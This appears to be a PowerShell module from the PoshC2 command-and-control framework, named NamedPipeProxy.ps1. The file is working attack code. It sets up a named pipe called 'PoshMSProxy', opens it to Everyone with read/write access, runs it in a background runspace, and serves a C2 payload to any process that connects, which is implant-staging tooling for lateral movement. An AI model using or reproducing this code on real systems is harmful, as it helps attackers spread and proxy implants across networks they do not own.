PoshC2_Python/Modules/NamedPipeProxy.ps1

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2018-07-23 08:55:15 +00:00
$scriptblock =
{
param ($Payload)
$PipeName = "PoshMSProxy"
$p = [System.IO.Directory]::GetFiles("\\.\\pipe\\")
$start = $true
foreach ($i in $p) {
if ($i -like "*PoshMSProxy") {
$start = $false
}
}
while ($start) {
add-Type -assembly "System.Core"
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
$PipeSecurity.AddAccessRule($AccessRule)
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
$pipe.WaitForConnection();
$pipeReader = new-object System.IO.StreamReader($pipe)
$pipeWriter = new-object System.IO.StreamWriter($pipe)
$pipeWriter.AutoFlush = $true
$pipeWriter.WriteLine($Payload);
$pipeReader.Dispose();
$pipe.Dispose();
}
exit
}
add-Type -assembly "System.Core"
$MaxThreads = 5
$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads)
$RunspacePool.Open()
$Jobs = @()
$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($proxypayload)
$Job.RunspacePool = $RunspacePool
$Job.BeginInvoke() | Out-Null
$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMSProxy");